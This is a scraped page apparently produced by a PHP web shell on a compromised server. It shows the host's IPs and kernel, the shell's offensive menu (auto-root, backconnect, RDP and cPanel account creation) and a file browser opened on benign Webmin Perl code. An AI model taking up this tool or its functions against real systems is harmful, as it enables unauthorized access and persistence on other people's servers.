Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
WebminUI /
[ HOME SHELL ]
Name
Size
Permission
Action
All.pm
969
B
-rw-r--r--
Button.pm
1.16
KB
-rw-r--r--
Checkbox.pm
1.19
KB
-rw-r--r--
Checkboxes.pm
2.49
KB
-rw-r--r--
Columns.pm
1.43
KB
-rw-r--r--
ConfirmPage.pm
1.14
KB
-rw-r--r--
Date.pm
2.11
KB
-rw-r--r--
DynamicBar.pm
2.35
KB
-rw-r--r--
DynamicHTML.pm
1.16
KB
-rw-r--r--
DynamicText.pm
2.42
KB
-rw-r--r--
DynamicWait.pm
2.49
KB
-rw-r--r--
ErrorPage.pm
565
B
-rw-r--r--
File.pm
1.57
KB
-rw-r--r--
Form.pm
7.94
KB
-rw-r--r--
Group.pm
1.44
KB
-rw-r--r--
Icon.pm
1.09
KB
-rw-r--r--
Input.pm
2.27
KB
-rw-r--r--
InputTable.pm
2.79
KB
-rw-r--r--
JavascriptButton.pm
970
B
-rw-r--r--
LinkTable.pm
6.38
KB
-rw-r--r--
Menu.pm
1.48
KB
-rw-r--r--
Multiline.pm
873
B
-rw-r--r--
OptTextarea.pm
2.85
KB
-rw-r--r--
OptTextbox.pm
1.94
KB
-rw-r--r--
Page.pm
8.41
KB
-rw-r--r--
Password.pm
639
B
-rw-r--r--
PlainText.pm
1.7
KB
-rw-r--r--
Properties.pm
2.6
KB
-rw-r--r--
Radios.pm
1.59
KB
-rw-r--r--
ResultPage.pm
520
B
-rw-r--r--
Section.pm
3.54
KB
-rw-r--r--
Select.pm
2.66
KB
-rw-r--r--
Submit.pm
788
B
-rw-r--r--
Table.pm
15.87
KB
-rw-r--r--
TableAction.pm
1.51
KB
-rw-r--r--
Tabs.pm
2.86
KB
-rw-r--r--
Textarea.pm
2.16
KB
-rw-r--r--
Textbox.pm
1.63
KB
-rw-r--r--
Time.pm
4.12
KB
-rw-r--r--
TitleList.pm
1.51
KB
-rw-r--r--
Upload.pm
1.48
KB
-rw-r--r--
User.pm
1.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : InputTable.pm
package WebminUI::InputTable; use WebminUI::Table; use WebminCore; @ISA = ( "WebminUI::Table" ); =head2 new WebminUI::InputTable(&headings, [width], [name], [heading]) A table containing multiple rows of inputs, each of which is the same =cut sub new { if (defined(&WebminUI::Theme::InputTable::new) && caller() !~ /WebminUI::Theme::InputTable/) { return new WebminUI::Theme::InputTable(@_[1..$#_]); } my $self = defined(&WebminUI::Theme::Table::new) ? WebminUI::Theme::Table::new(@_) : WebminUI::Table::new(@_); bless($self); $self->{'rowcount'} = 0; return $self; } =head2 set_inputs(&inputs) Sets the objects to be used for each row =cut sub set_inputs { my ($self, $classes) = @_; $self->{'classes'} = $classes; } =head2 add_values(&values) Adds a row of inputs, with the given values =cut sub add_values { my ($self, $values) = @_; my @row; for(my $i=0; $i<@$values; $i++) { my $cls = $self->{'classes'}->[$i]; my $newin = { %$cls }; bless($newin, ref($cls)); $newin->set_value($values->[$i]); $newin->set_name($newin->get_name()."_".$self->{'rowcount'}); $newin->set_form($self->{'form'}) if ($self->{'form'}); push(@row, $newin); } $self->add_row(\@row); $self->{'rowcount'}++; } =head2 get_values(row) Returns the values of the inputs in the given row =cut sub get_values { my ($self, $row) = @_; my @rv; foreach my $i (@{$self->{'rows'}->[$row]}) { if (ref($i) && $i->isa("WebminUI::Input")) { push(@rv, $i->get_value()); } } return @rv; } =head2 list_inputs() =cut sub list_inputs { my ($self) = @_; my @rv = WebminUI::Table::list_inputs($self); foreach my $r (@{$self->{'rows'}}) { foreach my $i (@$r) { if ($i && ref($i) && $i->isa("WebminUI::Input")) { push(@rv, $i); } } } return @rv; } sub get_rowcount { my ($self) = @_; return $self->{'rowcount'}; } =head2 validate() Validates all inputs, and returns a list of error messages =cut sub validate { my ($self) = @_; my $seli = $self->{'selectinput'}; my @errs; if ($seli) { push(@errs, map { [ $seli->get_name(), $_ ] } $seli->validate()); } foreach my $i (@{$self->{'inputs'}}) { foreach my $e ($i->validate()) { push(@errs, [ $i->get_name(), $e ]); } } my $k = 1; foreach my $r (@{$self->{'rows'}}) { my $j = 0; my $skip; if (defined($self->{'control'})) { if ($r->[$self->{'control'}]->get_value() eq "") { $skip = 1; } } foreach my $i (@$r) { if ($i && ref($i) && $i->isa("WebminUI::Input") && !$skip) { my $label = &text('ui_rowlabel', $k, $self->{'headings'}->[$j]); foreach my $e ($i->validate()) { push(@errs, [ $i->get_name(), $label." ".$e ]); } } $j++; } $k++; } return @errs; } =head2 set_control(column) Sets the column for which an empty value means no validation should be done =cut sub set_control { my ($self, $control) = @_; $self->{'control'} = $control; } 1;
Close